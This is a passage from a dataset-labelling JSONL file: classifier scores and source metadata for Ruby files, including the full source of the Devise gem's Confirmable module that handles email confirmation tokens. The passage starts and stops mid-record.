"705f66a63d63f1394ed086282b34ff79e83af4683f3e44d9f2b0029aa059e650", "text_sha256": "8261e14655cfa240353fa32202b58b27d8617cf1b8f49b68236302acb60f95cd", "run_sha256": "0dbe3046118ab5f0eea428b55f67ac75d558dc1c7da585927c21fa1685f6e177", "line_number": 16101, "input_policy": "text-and-optional-url-v1", "label_policy_version": 12, "requested_model": "decision-models/baseten-mammoth-27b-latest", "backend": "baseten", "endpoint": "https://inference.baseten.co/v1/systemone", "status": "ok", "training_eligible": true, "label": {"primary": {"main_format": "Technical Writing", "sub_format": null}, "secondary": null, "tertiary": null, "content_structure": ["structured_records"]}, "candidate_label": null, "topic": {"primary": {"main_topic": "Programming & Software Engineering", "sub_topic": null}, "secondary": null}, "scores": {"content_quality": 1, "noise_severity": 0, "missing_content_severity": 0, "factual_density": 4, "pretraining_utility": 0, "math_density": 0, "code_density": 4, "reasoning_density": 0, "education_level": 2, "creative_writing_quality": null}, "score_expectations": {"content_quality": 1.1223421838807226, "noise_severity": 0.08491122215022809, "missing_content_severity": 0.010747877152371852, "factual_density": 3.3129568326955243, "pretraining_utility": 0.03721198223018459, "math_density": 0.18308463597529293, "code_density": 3.6247221366639333, "reasoning_density": 0.03196342587824793, "education_level": 2.137971903152828, "creative_writing_quality": -0.29581133943370125}, "api_choices": {"primary": "Technical Writing", "secondary": "NONE", "tertiary": "NONE", "education_level": "2", "creative_writing_quality": "not_applicable", "primary_topic": "Programming & Software Engineering", "secondary_topic": "NONE"}, "review_reasons": [], "format_slot_diagnostics": {"comparable": true, "secondary_tertiary_identical": false, "secondary_tertiary_max_abs_gap": 0.10243355326446994, "secondary_choice": "NONE", "tertiary_choice": "NONE"}, "confidence": {"primary": 0.9677761806472445, "secondary": 0.7016791448880528, "tertiary": 0.8046762024241552, "structured_records": 0.8203121984507873, "procedural_steps": 0.00809790004844654, "worked_solution": 0.0002072817947149666, "contextual_dialogue": 4.37165532426941e-06, "content_quality": 0.5767026882057588, "noise_severity": 0.9292406482081432, "missing_content_severity": 0.9910434357063568, "factual_density": 0.4274640272462702, "pretraining_utility": 0.5487185218655241, "math_density": 0.8474294700205892, "code_density": 0.6872684472199446, "reasoning_density": 0.9733638117681267, "education_level": 0.7158784585289537, "creative_writing_quality": 0.9993898439425717, "primary_topic": 0.9110553361681403, "secondary_topic": 0.6863836936470272}, "probability_margin": {"primary": 0.947990123421388, "secondary": 0.5437548091752911, "tertiary": 0.744893875911859, "education_level": 0.5943316787926904, "creative_writing_quality": 0.9992418792065741, "primary_topic": 0.8491833198602139, "secondary_topic": 0.5645909898557631}, "raw_probabilities": {"primary": {"Academic Writing": 8.61688200346038e-05, "Content Listing": 0.00469235824753162, "Creative Writing": 4.3348573181570294e-05, "Customer Support Page": 5.6191377791546044e-05, "Q&A Forum": 3.566827706660336e-05, "Discussion Thread": 2.626905525124104e-05, "Comment Section": 4.258173038548262e-05, "Missing Content": 7.406782759539397e-05, "Knowledge Article": 0.00012409511035217435, "Legal Notices": 7.12735506081263e-05, "News Article": 2.0007856344854487e-05, "Organizational Announcement": 3.86024986202451e-05, "Nonfiction Writing": 3.252975971393271e-05, "Organizational About Page": 5.8517589558737505e-05, "Personal About Page": 4.169509212270639e-05, "Personal Blog": 2.6524240124478012e-05, "Product Page": 2.7991052116162535e-05, "Spam / Ads": 3.719235402282371e-05, "Structured Data": 0.021128716365554554, "Technical Writing": 0.9691188397869426, "Transcript / Interview": 4.933781035222435e-05, "Tutorial / How-To Guide": 0.0020512849643165355, "User Reviews": 2.2550016555167996e-05, "Other / Unknown": 0.002094188043856622}, "secondary": {"Academic Writing": 0.0007272168560731513, "Content Listing": 0.05693871424784361, "Creative Writing": 0.0005989343535023887, "Customer Support Page": 0.0006346752574899881, "Q&A Forum": 0.00034354699143072633, "Discussion Thread": 0.000267177040708746, "Comment Section": 0.00047912576555518555, "Missing Content": 0.0006408492248044136, "Knowledge Article": 0.0017120632551446738, "Legal Notices": 0.0003979878557896256, "News Article": 0.0003791684473675598, "Organizational Announcement": 0.0004065143735280879, "Nonfiction Writing": 0.00039892131530208246, "Organizational About Page": 0.00046827372312529267, "Personal About Page": 0.0004086017623479705, "Personal Blog": 0.00034847053501885135, "Product Page": 0.0002608325010474909, "Spam / Ads": 0.0004313764842945328, "Structured Data": 0.17035437134242626, "Technical Writing": 0.033246156097699174, "Transcript / Interview": 0.000519592819581604, "Tutorial / How-To Guide": 0.01570548047423929, "User Reviews": 0.00022276875796199336, "NONE": 0.7141091805177173}, "tertiary": {"Academic Writing": 0.0005955279674812112, "Content Listing": 0.0630420204133412, "Creative Writing": 0.0004921296014300518, "Customer Support Page": 0.0006333832824462652, "Q&A Forum": 0.00024372302193451697, "Discussion Thread": 0.00019148921731567504, "Comment Section": 0.0005684743836510386, "Missing Content": 0.0007220926875890696, "Knowledge Article": 0.0031141198378109654, "Legal Notices": 0.00036222221494449383, "News Article": 0.00030058329473060347, "Organizational Announcement": 0.0003123238641952992, "Nonfiction Writing": 0.0003198880930208338, "Organizational About Page": 0.00044343671080240897, "Personal About Page": 0.0003045108730278766, "Personal Blog": 0.0002897595255812593, "Product Page": 0.00024212935275894914, "Spam / Ads": 0.00037650516087476985, "Structured Data": 0.06792081807795632, "Technical Writing": 0.023771703326926786, "Transcript / Interview": 0.0003790120115708978, "Tutorial / How-To Guide": 0.022394021321234837, "User Reviews": 0.00016543176955944824, "NONE": 0.8128146939898153}, "structured_records": {"false": 0.1796878015492127, "true": 0.8203121984507873}, "procedural_steps": {"false": 0.9919020999515534, "true": 0.00809790004844654}, "worked_solution": {"false": 0.999792718205285, "true": 0.0002072817947149666}, "contextual_dialogue": {"false": 0.9999956283446757, "true": 4.37165532426941e-06}, "content_quality": {"-2": 0.00432929857753864, "-1": 0.010634347423275637, "0": 0.15855070455701628, "1": 0.5113361704252634, "2": 0.31514947901690604}, "noise_severity": {"0": 0.9314048929204575, "1": 0.055117089131082354, "2": 0.011261452471811212, "3": 0.0015950338310724657, "4": 0.0006215316455764776}, "missing_content_severity": {"0": 0.9919720271270964, "1": 0.006096442420028012, "2": 0.0013062431063494005, "3": 0.0004622008664591234, "4": 0.00016308648006691708}, "factual_density": {"0": 0.0038901081014574256, "1": 0.011886589403682105, "2": 0.1214853989848044, "3": 0.39285216871799084, "4": 0.4698857347920652}, "pretraining_utility": {"-2": 0.015696319945182346, "-1": 0.2207702558752286, "0": 0.5044525391734836, "1": 0.22878689201643296, "2": 0.030293992989672468}, "math_density": {"0": 0.8348927884938524, "1": 0.15657009558600846, "2": 0.003187155918151668, "3": 0.0012596114549683305, "4": 0.004090348547019024}, "code_density": {"0": 0.0005382189790014074, "1": 0.0014535925484088527, "2": 0.05334612212956393, "3": 0.2620719655157064, "4": 0.6825901008273194}, "reasoning_density": {"0": 0.9723793070690424, "1": 0.023944161324235054, "2": 0.0031852437174615758, "3": 0.0003163744379546477, "4": 0.00017491345130644774}, "education_level": {"none": 0.0018383701722541827, "0": 0.0029494623937599456, "1": 0.05048089427643181, "2": 0.7632320487741281, "3": 0.16890036998143762, "4": 0.012598854401988423}, "creative_writing_quality": {"not_applicable": 0.9994915366188097, "-2": 6.475444341062305e-05, "-1": 0.00011800530044487692, "0": 0.00024965741223558277, "1": 5.498749677549772e-05, "2": 2.1058728323848013e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 0.000135676288239656, "Art & Design": 0.013164301258329436, "Law & Crime": 0.00022033075540497373, "Education & Careers": 0.000262876675484187, "Entertainment & Media": 0.00019389060347652003, "Fashion & Beauty": 0.00022582942279066547, "Business, Economics & Finance": 0.0008367690845680975, "Food & Dining": 0.00019069983438320515, "Games & Gaming": 0.00042283618853690956, "Electronics & Hardware": 0.0002182400256111308, "Health, Healthcare & Wellness": 0.0004556770707955708, "History & Geography": 0.00016499501147075292, "Home, Pets & Hobbies": 0.0001960387564398553, "Industry & Production": 0.0001405991604740695, "Language, Literature & Philosophy": 0.00015107539907252017, "Politics & Government": 0.00019207979771959527, "Religion & Spirituality": 0.00013640288114554313, "Science, Mathematics & Engineering": 0.0007953434630558598, "Relationships & Community": 0.00020007072701135354, "Software Usage & Applications": 0.0652929649168441, "Programming & Software Engineering": 0.914476284777058, "Sports & Fitness": 0.0006271918043775678, "Vehicles & Transportation": 9.165060788453793e-05, "Travel & Tourism": 0.00014720079654002258, "Other / Uncovered Subject": 0.0007402578814649692, "Unknown / Insufficient Content": 0.0003207168118208767}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0011614980937349412, "Art & Design": 0.10226702607330254, "Law & Crime": 0.0011195229063737714, "Education & Careers": 0.0008427166643008529, "Entertainment & Media": 0.0007472969192335989, "Fashion & Beauty": 0.0004967658540314794, "Business, Economics & Finance": 0.0017198224283094157, "Food & Dining": 0.00041972241557240264, "Games & Gaming": 0.000868330459842966, "Electronics & Hardware": 0.0005583392700052735, "Health, Healthcare & Wellness": 0.0011136056118086683, "History & Geography": 0.0003848095960962795, "Home, Pets & Hobbies": 0.00045712874629025437, "Industry & Production": 0.0003054467358417764, "Language, Literature & Philosophy": 0.0003452499611308241, "Politics & Government": 0.00037399052259564535, "Religion & Spirituality": 0.0004254202817970148, "Science, Mathematics & Engineering": 0.0009930599641614192, "Relationships & Community": 0.0003946446500193413, "Software Usage & Applications": 0.13385486942022462, "Programming & Software Engineering": 0.049516434578504055, "Sports & Fitness": 0.0012285075187910511, "Vehicles & Transportation": 0.0002191145025289103, "Travel & Tourism": 0.0005160195500483803, "Other / Uncovered Subject": 0.0012247979994668898, "NONE": 0.6984458592759877}}, "probabilities": {"primary": {"Academic Writing": 8.61688200346038e-05, "Content Listing": 0.00469235824753162, "Creative Writing": 4.3348573181570294e-05, "Customer Support Page": 5.6191377791546044e-05, "Q&A Forum": 3.566827706660336e-05, "Discussion Thread": 2.626905525124104e-05, "Comment Section": 4.258173038548262e-05, "Missing Content": 7.406782759539397e-05, "Knowledge Article": 0.00012409511035217435, "Legal Notices": 7.12735506081263e-05, "News Article": 2.0007856344854487e-05, "Organizational Announcement": 3.86024986202451e-05, "Nonfiction Writing": 3.252975971393271e-05, "Organizational About Page": 5.8517589558737505e-05, "Personal About Page": 4.169509212270639e-05, "Personal Blog": 2.6524240124478012e-05, "Product Page": 2.7991052116162535e-05, "Spam / Ads": 3.719235402282371e-05, "Structured Data": 0.021128716365554554, "Technical Writing": 0.9691188397869426, "Transcript / Interview": 4.933781035222435e-05, "Tutorial / How-To Guide": 0.0020512849643165355, "User Reviews": 2.2550016555167996e-05, "Other / Unknown": 0.002094188043856622}, "secondary": {"Academic Writing": 0.0007272168560731513, "Content Listing": 0.05693871424784361, "Creative Writing": 0.0005989343535023887, "Customer Support Page": 0.0006346752574899881, "Q&A Forum": 0.00034354699143072633, "Discussion Thread": 0.000267177040708746, "Comment Section": 0.00047912576555518555, "Missing Content": 0.0006408492248044136, "Knowledge Article": 0.0017120632551446738, "Legal Notices": 0.0003979878557896256, "News Article": 0.0003791684473675598, "Organizational Announcement": 0.0004065143735280879, "Nonfiction Writing": 0.00039892131530208246, "Organizational About Page": 0.00046827372312529267, "Personal About Page": 0.0004086017623479705, "Personal Blog": 0.00034847053501885135, "Product Page": 0.0002608325010474909, "Spam / Ads": 0.0004313764842945328, "Structured Data": 0.17035437134242626, "Technical Writing": 0.033246156097699174, "Transcript / Interview": 0.000519592819581604, "Tutorial / How-To Guide": 0.01570548047423929, "User Reviews": 0.00022276875796199336, "NONE": 0.7141091805177173}, "tertiary": {"Academic Writing": 0.0005955279674812112, "Content Listing": 0.0630420204133412, "Creative Writing": 0.0004921296014300518, "Customer Support Page": 0.0006333832824462652, "Q&A Forum": 0.00024372302193451697, "Discussion Thread": 0.00019148921731567504, "Comment Section": 0.0005684743836510386, "Missing Content": 0.0007220926875890696, "Knowledge Article": 0.0031141198378109654, "Legal Notices": 0.00036222221494449383, "News Article": 0.00030058329473060347, "Organizational Announcement": 0.0003123238641952992, "Nonfiction Writing": 0.0003198880930208338, "Organizational About Page": 0.00044343671080240897, "Personal About Page": 0.0003045108730278766, "Personal Blog": 0.0002897595255812593, "Product Page": 0.00024212935275894914, "Spam / Ads": 0.00037650516087476985, "Structured Data": 0.06792081807795632, "Technical Writing": 0.023771703326926786, "Transcript / Interview": 0.0003790120115708978, "Tutorial / How-To Guide": 0.022394021321234837, "User Reviews": 0.00016543176955944824, "NONE": 0.8128146939898153}, "structured_records": {"false": 0.1796878015492127, "true": 0.8203121984507873}, "procedural_steps": {"false": 0.9919020999515534, "true": 0.00809790004844654}, "worked_solution": {"false": 0.999792718205285, "true": 0.0002072817947149666}, "contextual_dialogue": {"false": 0.9999956283446757, "true": 4.37165532426941e-06}, "content_quality": {"-2": 0.00432929857753864, "-1": 0.010634347423275637, "0": 0.15855070455701628, "1": 0.5113361704252634, "2": 0.31514947901690604}, "noise_severity": {"0": 0.9314048929204575, "1": 0.055117089131082354, "2": 0.011261452471811212, "3": 0.0015950338310724657, "4": 0.0006215316455764776}, "missing_content_severity": {"0": 0.9919720271270965, "1": 0.006096442420028013, "2": 0.0013062431063494008, "3": 0.00046220086645912343, "4": 0.0001630864800669171}, "factual_density": {"0": 0.0038901081014574256, "1": 0.011886589403682105, "2": 0.1214853989848044, "3": 0.39285216871799084, "4": 0.4698857347920652}, "pretraining_utility": {"-2": 0.015696319945182346, "-1": 0.2207702558752286, "0": 0.5044525391734836, "1": 0.22878689201643296, "2": 0.030293992989672468}, "math_density": {"0": 0.8348927884938525, "1": 0.15657009558600848, "2": 0.0031871559181516685, "3": 0.0012596114549683307, "4": 0.004090348547019025}, "code_density": {"0": 0.0005382189790014074, "1": 0.0014535925484088527, "2": 0.05334612212956393, "3": 0.2620719655157064, "4": 0.6825901008273194}, "reasoning_density": {"0": 0.9723793070690422, "1": 0.023944161324235047, "2": 0.003185243717461575, "3": 0.00031637443795464766, "4": 0.0001749134513064477}, "education_level": {"none": 0.0018383701722541827, "0": 0.0029494623937599456, "1": 0.05048089427643181, "2": 0.7632320487741281, "3": 0.16890036998143762, "4": 0.012598854401988423}, "creative_writing_quality": {"not_applicable": 0.9994915366188095, "-2": 6.475444341062304e-05, "-1": 0.0001180053004448769, "0": 0.0002496574122355827, "1": 5.4987496775497705e-05, "2": 2.105872832384801e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 0.000135676288239656, "Art & Design": 0.013164301258329436, "Law & Crime": 0.00022033075540497373, "Education & Careers": 0.000262876675484187, "Entertainment & Media": 0.00019389060347652003, "Fashion & Beauty": 0.00022582942279066547, "Business, Economics & Finance": 0.0008367690845680975, "Food & Dining": 0.00019069983438320515, "Games & Gaming": 0.00042283618853690956, "Electronics & Hardware": 0.0002182400256111308, "Health, Healthcare & Wellness": 0.0004556770707955708, "History & Geography": 0.00016499501147075292, "Home, Pets & Hobbies": 0.0001960387564398553, "Industry & Production": 0.0001405991604740695, "Language, Literature & Philosophy": 0.00015107539907252017, "Politics & Government": 0.00019207979771959527, "Religion & Spirituality": 0.00013640288114554313, "Science, Mathematics & Engineering": 0.0007953434630558598, "Relationships & Community": 0.00020007072701135354, "Software Usage & Applications": 0.0652929649168441, "Programming & Software Engineering": 0.914476284777058, "Sports & Fitness": 0.0006271918043775678, "Vehicles & Transportation": 9.165060788453793e-05, "Travel & Tourism": 0.00014720079654002258, "Other / Uncovered Subject": 0.0007402578814649692, "Unknown / Insufficient Content": 0.0003207168118208767}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0011614980937349412, "Art & Design": 0.10226702607330254, "Law & Crime": 0.0011195229063737714, "Education & Careers": 0.0008427166643008529, "Entertainment & Media": 0.0007472969192335989, "Fashion & Beauty": 0.0004967658540314794, "Business, Economics & Finance": 0.0017198224283094157, "Food & Dining": 0.00041972241557240264, "Games & Gaming": 0.000868330459842966, "Electronics & Hardware": 0.0005583392700052735, "Health, Healthcare & Wellness": 0.0011136056118086683, "History & Geography": 0.0003848095960962795, "Home, Pets & Hobbies": 0.00045712874629025437, "Industry & Production": 0.0003054467358417764, "Language, Literature & Philosophy": 0.0003452499611308241, "Politics & Government": 0.00037399052259564535, "Religion & Spirituality": 0.0004254202817970148, "Science, Mathematics & Engineering": 0.0009930599641614192, "Relationships & Community": 0.0003946446500193413, "Software Usage & Applications": 0.13385486942022462, "Programming & Software Engineering": 0.049516434578504055, "Sports & Fitness": 0.0012285075187910511, "Vehicles & Transportation": 0.0002191145025289103, "Travel & Tourism": 0.0005160195500483803, "Other / Uncovered Subject": 0.0012247979994668898, "NONE": 0.6984458592759877}}, "probability_diagnostics": {"primary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "tertiary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "structured_records": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "procedural_steps": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "worked_solution": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "contextual_dialogue": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "content_quality": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "noise_severity": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "missing_content_severity": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "factual_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "pretraining_utility": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "math_density": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "code_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "reasoning_density": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "education_level": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "creative_writing_quality": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "primary_topic": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary_topic": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}}, "usage": {"input_tokens": 9834, "output_tokens": 19}, "cache": {"status": "unreported", "cached_tokens": null, "cache_write_tokens": null, "input_tokens": 9834, "cached_share": null, "cache_discount_reported": null, "reported_cost_usd": null}, "response_metadata": {"model": "decision-models/baseten-mammoth-27b-latest"}, "scored_at_utc": "2026-10-25T18:36:08.651949+00:00", "scoring_key_slot": "assistant_1", "dataset_uid": "82b32a5c-a8ad-474d-a76e-06157e5ea20b", "dataset_revision": "62077439f2c81c79b71c084d1057ee1d042369a3", "dataset_config": "default", "content_variant": "content", "source_record_sha256": "566d19e25b8979b33d3952c8d95e3d18e4d13a6e383861eb5ccfaee138d30e06", "source_metadata": {"uuid": "82b32a5c-a8ad-474d-a76e-06157e5ea20b", "repo_name": "bwhsleepamu/rely", "relative_path": "config/initializers/contour.rb", "category": "CONFIG", "algo_rel_score": 0.6942072510719299, "quality_score": 6.919641494750977, "source_meta": {"github_metadata": {"branch": "master", "commit_count": 137, "repo_created_at": "2012-06-15T16:53:25.000Z", "is_fork": false, "is_org_owned": true, "forked_from": null, "stars": 1, "forks": 0, "issues": 0, "pull_requests": 0}, "file_meta": {"content_id": "025e0b6f5a00af0d555560f6479ae5ff1034039a", "size_bytes": 4953, "file_timestamp": 1394815375, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "b4c0fc9b25d522106754c5e6a0984aa991496bb8"}}, "parsed_source_meta": {"github_metadata": {"branch": "master", "commit_count": 137, "repo_created_at": "2012-06-15T16:53:25.000Z", "is_fork": false, "is_org_owned": true, "forked_from": null, "stars": 1, "forks": 0, "issues": 0, "pull_requests": 0}, "file_meta": {"content_id": "025e0b6f5a00af0d555560f6479ae5ff1034039a", "size_bytes": 4953, "file_timestamp": 1394815375, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "b4c0fc9b25d522106754c5e6a0984aa991496bb8", "url": "https://github.com/bwhsleepamu/rely/blob/b4c0fc9b25d522106754c5e6a0984aa991496bb8/config/initializers/contour.rb"}, "gpt4o_tokens": 1254, "dataset_split": "ruby", "probability_weighted_scores": {"content_quality": 1.1223421838807226, "noise_severity": 0.08491122215022809, "missing_content_severity": 0.010747877152371852, "factual_density": 3.3129568326955243, "pretraining_utility": 0.03721198223018459, "math_density": 0.18308463597529293, "code_density": 3.6247221366639333, "reasoning_density": 0.031963425878247936, "education_level": 2.137971903152828, "creative_writing_quality": -0.29581133943370125}, "score_applicability": {"education_level": 0.9981616298277459, "creative_writing_quality": 0.0005084633811904284}} {"source_group": "ruby", "source": "openbmb/UltraData-Stack-v3-L2/ruby", "domain": "github.com", "language": "ruby", "url": "https://github.com/rterrabh/rdf/blob/825533d2a323cb70e3f4e673db331ce2f23c5e57/dataset/devise/lib/devise/models/confirmable.rb", "id": "ruby-0-525f4fee61f86c37bb3d21375a01606a", "text": "module Devise\n module Models\n module Confirmable\n extend ActiveSupport::Concern\n include ActionView::Helpers::DateHelper\n\n included do\n before_create :generate_confirmation_token, if: :confirmation_required?\n after_create :send_on_create_confirmation_instructions, if: :send_confirmation_notification?\n before_update :postpone_email_change_until_confirmation_and_regenerate_confirmation_token, if: :postpone_email_change?\n after_update :send_reconfirmation_instructions, if: :reconfirmation_required?\n end\n\n def initialize(*args, &block)\n @bypass_confirmation_postpone = false\n @reconfirmation_required = false\n @skip_confirmation_notification = false\n @raw_confirmation_token = nil\n super\n end\n\n def self.required_fields(klass)\n required_methods = [:confirmation_token, :confirmed_at, :confirmation_sent_at]\n required_methods << :unconfirmed_email if klass.reconfirmable\n required_methods\n end\n\n def confirm!\n pending_any_confirmation do\n if confirmation_period_expired?\n self.errors.add(:email, :confirmation_period_expired,\n period: Devise::TimeInflector.time_ago_in_words(self.class.confirm_within.ago))\n return false\n end\n\n self.confirmation_token = nil\n self.confirmed_at = Time.now.utc\n\n saved = if self.class.reconfirmable && unconfirmed_email.present?\n skip_reconfirmation!\n self.email = unconfirmed_email\n self.unconfirmed_email = nil\n\n save(validate: true)\n else\n save(validate: false)\n end\n\n after_confirmation if saved\n saved\n end\n end\n\n def confirmed?\n !!confirmed_at\n end\n\n def pending_reconfirmation?\n self.class.reconfirmable && unconfirmed_email.present?\n end\n\n def send_confirmation_instructions\n unless @raw_confirmation_token\n generate_confirmation_token!\n end\n\n opts = pending_reconfirmation? ? { to: unconfirmed_email } : { }\n send_devise_notification(:confirmation_instructions, @raw_confirmation_token, opts)\n end\n\n def send_reconfirmation_instructions\n @reconfirmation_required = false\n\n unless @skip_confirmation_notification\n send_confirmation_instructions\n end\n end\n\n def resend_confirmation_instructions\n pending_any_confirmation do\n send_confirmation_instructions\n end\n end\n\n def active_for_authentication?\n super && (!confirmation_required? || confirmed? || confirmation_period_valid?)\n end\n\n def inactive_message\n !confirmed? ? :unconfirmed : super\n end\n\n def skip_confirmation!\n self.confirmed_at = Time.now.utc\n end\n\n def skip_confirmation_notification!\n @skip_confirmation_notification = true\n end\n\n def skip_reconfirmation!\n @bypass_confirmation_postpone = true\n end\n\n protected\n\n def send_on_create_confirmation_instructions\n send_confirmation_instructions\n end\n\n def confirmation_required?\n !confirmed?\n end\n\n def confirmation_period_valid?\n self.class.allow_unconfirmed_access_for.nil? || (confirmation_sent_at && confirmation_sent_at.utc >= self.class.allow_unconfirmed_access_for.ago)\n end\n\n def confirmation_period_expired?\n self.class.confirm_within && (Time.now > self.confirmation_sent_at + self.class.confirm_within )\n end\n\n def pending_any_confirmation\n if (!confirmed? || pending_reconfirmation?)\n yield\n else\n self.errors.add(:email, :already_confirmed)\n false\n end\n end\n\n def generate_confirmation_token\n raw, enc = Devise.token_generator.generate(self.class, :confirmation_token)\n @raw_confirmation_token = raw\n self.confirmation_token = enc\n self.confirmation_sent_at = Time.now.utc\n end\n\n def generate_confirmation_token!\n generate_confirmation_token && save(validate: false)\n end\n\n def postpone_email_change_until_confirmation_and_regenerate_confirmation_token\n @reconfirmation_required = true\n self.unconfirmed_email = self.email\n self.email = self.email_was\n generate_confirmation_token\n end\n\n def postpone_email_change?\n postpone = self.class.reconfirmable && email_changed? && !@bypass_confirmation_postpone && self.email.present?\n @bypass_confirmation_postpone = false\n postpone\n end\n\n def reconfirmation_required?\n self.class.reconfirmable && @reconfirmation_required && self.email.present?\n end\n\n def send_confirmation_notification?\n confirmation_required? && !@skip_confirmation_notification && self.email.present?\n end\n\n def after_confirmation\n end\n\n module ClassMethods\n def send_confirmation_instructions(attributes={})\n confirmable = find_by_unconfirmed_email_with_errors(attributes) if reconfirmable\n unless confirmable.try(:persisted?)\n confirmable = find_or_initialize_with_errors(confirmation_keys, attributes, :not_found)\n end\n confirmable.resend_confirmation_instructions if confirmable.persisted?\n confirmable\n end\n\n def confirm_by_token(confirmation_token)\n original_token = confirmation_token\n confirmation_token = Devise.token_generator.digest(self, :confirmation_token, confirmation_token)\n\n confirmable = find_or_initialize_with_error_by(:confirmation_token, confirmation_token)\n confirmable.confirm! if confirmable.persisted?\n confirmable.confirmation_token = original_token\n confirmable\n end\n\n def find_by_unconfirmed_email_with_errors(attributes = {})\n unconfirmed_required_attributes = confirmation_keys.map { |k| k == :email ? :unconfirmed_email : k }\n unconfirmed_attributes = attributes.symbolize_keys\n unconfirmed_attributes[:unconfirmed_email] = unconfirmed_attributes.delete(:email)\n find_or_initialize_with_errors(unconfirmed_required_attributes, unconfirmed_attributes, :not_found)\n end\n\n Devise::Models.config(self, :allow_unconfirmed_access_for, :confirmation_keys, :reconfirmable, :confirm_within)\n end\n end\n end\nend\n", "text_preview": "module Devise module Models module Confirmable extend ActiveSupport::Concern include ActionView::Helpers::DateHelper included do before_create :generate_confirmation_token, if: :confirmation_required? after_create :send_on_create_confirmati", "input_sha256": "ae1d029a41245042954d057a23259ee4bb53267b21f525d0cf22655ea305ee9f", "text_sha256": "525f4fee61f86c37bb3d21375a01606a1cf22ced9b4b988aa805db1bb9428527", "run_sha256": "0dbe3046118ab5f0eea428b55f67ac75d558dc1c7da585927c21fa1685f6e177", "line_number": 16102, "input_policy": "text-and-optional-url-v1", "label_policy_version": 12, "requested_model": "decision-models/baseten-mammoth-27b-latest", "backend": "baseten", "endpoint": "https://inference.baseten.co/v1/systemone", "status": "ok", "training_eligible": true, "label": {"primary": {"main_format": "Technical Writing", "sub_format": null}, "secondary": null, "tertiary": null, "content_structure": []}, "candidate_label": null, "topic": {"primary": {"main_topic": "Programming & Software Engineering", "sub_topic": null}, "secondary": null}, "scores": {"content_quality": 1, "noise_severity": 0, "missing_content_severity": 0, "factual_density": 4, "pretraining_utility": 1, "math_density": 0, "code_density": 4, "reasoning_density": 0, "education_level": 3, "creative_writing_quality": null}, "score_expectations": {"content_quality": 1.2670727552141932, "noise_severity": 0.0031271712530489366, "missing_content_severity": 0.010118636151509004, "factual_density": 3.5828752495166913, "pretraining_utility": 0.5550712366568685, "math_density": 0.04294272700478954, "code_density": 3.942554190698095, "reasoning_density": 0.66953554883654, "education_level": 2.636686810205292, "creative_writing_quality": -0.1674230253898294}, "api_choices": {"primary": "Technical Writing", "secondary": "NONE", "tertiary": "NONE", "education_level": "3", "creative_writing_quality": "not_applicable", "primary_topic": "Programming & Software Engineering", "secondary_topic": "NONE"}, "review_reasons": [], "format_slot_diagnostics": {"comparable": true, "secondary_tertiary_identical": false, "secondary_tertiary_max_abs_gap": 0.0038710353126760744, "secondary_choice": "NONE", "tertiary_choice": "NONE"}, "confidence": {"primary": 0.9980572811937439, "secondary": 0.9925442947107592, "tertiary": 0.9965836359065952, "structured_records": 0.0013482337911073206, "procedural_steps": 0.006851764843900271, "worked_solution": 0.0009530857832617199, "contextual_dialogue": 4.644379667085285e-06, "content_quality": 0.5535873755363763, "noise_severity": 0.9973940239557926, "missing_content_severity": 0.9915678032070758, "factual_density": 0.6523960412639094, "pretraining_utility": 0.4784057967769295, "math_density": 0.9642143941626754, "code_density": 0.9521284922484121, "reasoning_density": 0.4420537093028831, "education_level": 0.37281479277893964, "creative_writing_quality": 0.9995741853756002, "primary_topic": 0.9979911597312987, "secondary_topic": 0.9778381584492626}, "probability_margin": {"primary": 0.9972543003766515, "secondary": 0.9884896297583795, "tertiary": 0.9951360369460145, "education_level": 0.04816229081567719, "creative_writing_quality": 0.9994652699316928, "primary_topic": 0.9971611256440807, "secondary_topic": 0.9675070689103731}, "raw_probabilities": {"primary": {"Academic Writing": 2.25372242162295e-05, 